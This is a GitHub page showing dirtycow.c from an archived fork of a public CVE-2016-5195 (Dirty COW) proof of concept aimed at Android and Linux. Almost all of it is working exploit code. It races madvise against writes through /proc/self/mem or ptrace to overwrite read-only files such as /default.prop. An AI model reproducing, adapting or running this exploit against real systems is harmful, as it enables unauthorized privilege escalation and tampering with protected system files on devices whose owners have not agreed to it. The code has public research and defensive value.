This repository has been archived by the owner on Sep 27, 2023. It is now read-only.
forked from timwr/CVE-2016-5195
-
Notifications
You must be signed in to change notification settings - Fork 0
/
dirtycow.c
352 lines (296 loc) · 7.78 KB
/
dirtycow.c
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
155
156
157
158
159
160
161
162
163
164
165
166
167
168
169
170
171
172
173
174
175
176
177
178
179
180
181
182
183
184
185
186
187
188
189
190
191
192
193
194
195
196
197
198
199
200
201
202
203
204
205
206
207
208
209
210
211
212
213
214
215
216
217
218
219
220
221
222
223
224
225
226
227
228
229
230
231
232
233
234
235
236
237
238
239
240
241
242
243
244
245
246
247
248
249
250
251
252
253
254
255
256
257
258
259
260
261
262
263
264
265
266
267
268
269
270
271
272
273
274
275
276
277
278
279
280
281
282
283
284
285
286
287
288
289
290
291
292
293
294
295
296
297
298
299
300
301
302
303
304
305
306
307
308
309
310
311
312
313
314
315
316
317
318
319
320
321
322
323
324
325
326
327
328
329
330
331
332
333
334
335
336
337
338
339
340
341
342
343
344
345
346
347
348
349
350
351
352
#include <err.h>
#include <errno.h>
#include <assert.h>
#include <dlfcn.h>
#include <stdio.h>
#include <fcntl.h>
#include <stdlib.h>
#include <string.h>
#include <unistd.h>
#include <limits.h>
#include <pthread.h>
#include <sys/mman.h>
#include <sys/stat.h>
#include <sys/wait.h>
#include <sys/types.h>
#include <sys/ptrace.h>
#ifdef DEBUG
#include <android/log.h>
#define LOGV(...) { __android_log_print(ANDROID_LOG_INFO, "exploit", __VA_ARGS__); printf(__VA_ARGS__); printf("\n"); fflush(stdout); }
#elif PRINT
#define LOGV(...) { __android_log_print(ANDROID_LOG_INFO, "exploit", __VA_ARGS__); printf(__VA_ARGS__); printf("\n"); fflush(stdout); }
#else
#define LOGV(...)
#endif
#define LOOP 0x1000000
#define TIMEOUT 1000
pid_t pid;
struct mem_arg {
void *offset;
void *patch;
off_t patch_size;
const char *fname;
volatile int stop;
volatile int success;
};
static void *checkThread(void *arg) {
struct mem_arg *mem_arg;
mem_arg = (struct mem_arg *)arg;
LOGV("[*] check thread starts, address %p, size %zd", mem_arg->offset, mem_arg->patch_size);
struct stat st;
int i;
char * newdata = malloc(mem_arg->patch_size);
for(i = 0; i < TIMEOUT && !mem_arg->stop; i++) {
int f=open(mem_arg->fname, O_RDONLY);
if (f == -1) {
LOGV("could not open %s", mem_arg->fname);
break;
}
if (fstat(f,&st) == -1) {
LOGV("could not stat %s", mem_arg->fname);
close(f);
break;
}
read(f, newdata, mem_arg->patch_size);
close(f);
int memcmpret = memcmp(newdata, mem_arg->patch, mem_arg->patch_size);
if (memcmpret == 0) {
mem_arg->stop = 1;
mem_arg->success = 1;
LOGV("[*] check thread stops, patch successful, iterations %d", i);
goto cleanup;
}
usleep(100 * 1000);
}
LOGV("[*] check thread stops, timeout, iterations %d", i);
cleanup:
if (newdata) {
free(newdata);
}
mem_arg->stop = 1;
return 0;
}
static void *madviseThread(void *arg)
{
struct mem_arg *mem_arg;
size_t size;
void *addr;
int i = 0, c = 0;
mem_arg = (struct mem_arg *)arg;
size = mem_arg->patch_size;
addr = (void *)(mem_arg->offset);
LOGV("[*] madvise thread starts, address %p, size %zd", addr, size);
while(!mem_arg->stop) {
c += madvise(addr, size, MADV_DONTNEED);
i++;
}
LOGV("[*] madvise thread stops, return code sum %d, iterations %d", c, i);
mem_arg->stop = 1;
return 0;
}
static int ptrace_memcpy(pid_t pid, void *dest, const void *src, size_t n)
{
const unsigned char *s;
unsigned long value;
unsigned char *d;
d = dest;
s = src;
while (n >= sizeof(long)) {
if (*((long *) s) != *((long *) d)) {
memcpy(&value, s, sizeof(value));
if (ptrace(PTRACE_POKETEXT, pid, d, value) == -1) {
warn("ptrace(PTRACE_POKETEXT)");
return -1;
}
}
n -= sizeof(long);
d += sizeof(long);
s += sizeof(long);
}
if (n > 0) {
d -= sizeof(long) - n;
errno = 0;
value = ptrace(PTRACE_PEEKTEXT, pid, d, NULL);
if (value == -1 && errno != 0) {
warn("ptrace(PTRACE_PEEKTEXT)");
return -1;
}
memcpy((unsigned char *)&value + sizeof(value) - n, s, n);
if (ptrace(PTRACE_POKETEXT, pid, d, value) == -1) {
warn("ptrace(PTRACE_POKETEXT)");
return -1;
}
}
return 0;
}
static void *ptraceThread(void *arg)
{
struct mem_arg *mem_arg;
mem_arg = (struct mem_arg *)arg;
LOGV("[*] ptrace thread starts, address %p, size %zd", mem_arg->offset, mem_arg->patch_size);
int i = 0, c = 0;
while (!mem_arg->stop) {
c += ptrace_memcpy(pid, mem_arg->offset, mem_arg->patch, mem_arg->patch_size);
i++;
}
LOGV("[*] ptrace thread stops, return code sum %d, iterations %i", c, i);
mem_arg->stop = 1;
return NULL;
}
int canwritetoselfmem(void *arg) {
struct mem_arg *mem_arg;
mem_arg = (struct mem_arg *)arg;
int fd = open("/proc/self/mem", O_RDWR);
if (fd == -1) {
LOGV("open(\"/proc/self/mem\"");
}
int returnval = -1;
lseek(fd, (off_t)mem_arg->offset, SEEK_SET);
if (write(fd, mem_arg->patch, mem_arg->patch_size) == mem_arg->patch_size) {
returnval = 0;
}
close(fd);
return returnval;
}
static void *procselfmemThread(void *arg)
{
struct mem_arg *mem_arg;
int fd, i, c = 0;
mem_arg = (struct mem_arg *)arg;
fd = open("/proc/self/mem", O_RDWR);
if (fd == -1) {
LOGV("open(\"/proc/self/mem\"");
}
for (i = 0; i < LOOP && !mem_arg->stop; i++) {
lseek(fd, (off_t)mem_arg->offset, SEEK_SET);
c += write(fd, mem_arg->patch, mem_arg->patch_size);
}
LOGV("[*] /proc/self/mem %d %i", c, i);
close(fd);
mem_arg->stop = 1;
return NULL;
}
static void exploit(struct mem_arg *mem_arg)
{
pthread_t pth1, pth2, pth3;
LOGV("[*] currently %p=%lx", (void*)mem_arg->offset, *(unsigned long*)mem_arg->offset);
mem_arg->stop = 0;
mem_arg->success = 0;
if (canwritetoselfmem(mem_arg) == -1) {
LOGV("[*] using ptrace method");
pid=fork();
if(pid) {
pthread_create(&pth3, NULL, checkThread, mem_arg);
waitpid(pid,NULL,0);
ptraceThread((void*)mem_arg);
pthread_join(pth3, NULL);
} else {
pthread_create(&pth1, NULL, madviseThread, mem_arg);
ptrace(PTRACE_TRACEME);
kill(getpid(),SIGSTOP);
// we're done, tell madviseThread to stop and wait for it
mem_arg->stop = 1;
pthread_join(pth1, NULL);
}
} else {
LOGV("[*] using /proc/self/mem method");
pthread_create(&pth3, NULL, checkThread, mem_arg);
pthread_create(&pth1, NULL, madviseThread, mem_arg);
pthread_create(&pth2, NULL, procselfmemThread, mem_arg);
pthread_join(pth3, NULL);
pthread_join(pth1, NULL);
pthread_join(pth2, NULL);
}
LOGV("[*] finished pid=%d sees %p=%lx", pid, (void*)mem_arg->offset, *(unsigned long*)mem_arg->offset);
}
int dcow(int argc, const char * argv[])
{
if (argc < 2 || argc > 4) {
LOGV("Usage %s INFILE OUTFILE [--no-pad]", argv[0]);
LOGV(" INFILE: file to read from, e.g., /data/local/tmp/default.prop")
LOGV(" OUTFILE: file to write to, e.g., /default.prop")
LOGV(" --no-pad: If INFILE is smaller than OUTFILE, overwrite the")
LOGV(" beginning of OUTFILE only, do not fill the remainder with")
LOGV(" zeros (option must be given last)")
return 0;
}
int ret = 0;
const char * fromfile = argv[1];
const char * tofile = argv[2];
LOGV("dcow %s %s", fromfile, tofile);
struct mem_arg mem_arg;
struct stat st;
struct stat st2;
int f = open(tofile, O_RDONLY);
if (f == -1) {
LOGV("could not open %s", tofile);
ret = -1;
goto cleanup;
}
if (fstat(f,&st) == -1) {
LOGV("could not stat %s", tofile);
ret = 1;
goto cleanup;
}
int f2=open(fromfile, O_RDONLY);
if (f2 == -1) {
LOGV("could not open %s", fromfile);
ret = 2;
goto cleanup;
}
if (fstat(f2,&st2) == -1) {
LOGV("could not stat %s", fromfile);
ret = 3;
goto cleanup;
}
size_t size = st2.st_size;
if (st2.st_size != st.st_size) {
LOGV("warning: source file size (%lld) and destination file size (%lld) differ", (unsigned long long)st2.st_size, (unsigned long long)st.st_size);
if (st2.st_size > st.st_size) {
LOGV(" corruption?\n");
}
else if (argc > 3 && strncmp(argv[3], "--no-pad", 8) == 0) {
LOGV(" will overwrite first %lld bytes of destination only\n", (unsigned long long)size);
}
else {
LOGV(" will append %lld zero bytes to source\n", (unsigned long long)(st.st_size - st2.st_size));
size = st.st_size;
}
}
LOGV("[*] size %zd", size);
mem_arg.patch = malloc(size);
if (mem_arg.patch == NULL) {
ret = 4;
goto cleanup;
}
mem_arg.patch_size = size;
memset(mem_arg.patch, 0, size);
mem_arg.fname = argv[2];
read(f2, mem_arg.patch, size);
close(f2);
/*read(f, mem_arg.unpatch, st.st_size);*/
void * map = mmap(NULL, size, PROT_READ, MAP_PRIVATE, f, 0);
if (map == MAP_FAILED) {
LOGV("mmap");
ret = 5;
goto cleanup;
}
LOGV("[*] mmap %p", map);
mem_arg.offset = map;
exploit(&mem_arg);
close(f);
f = -1;
// to put back
/*exploit(&mem_arg, 0);*/
if (mem_arg.success == 0) {
ret = -1;
}
cleanup:
if(f > 0) {
close(f);
}
if(mem_arg.patch) {
free(mem_arg.patch);
}
return ret;
}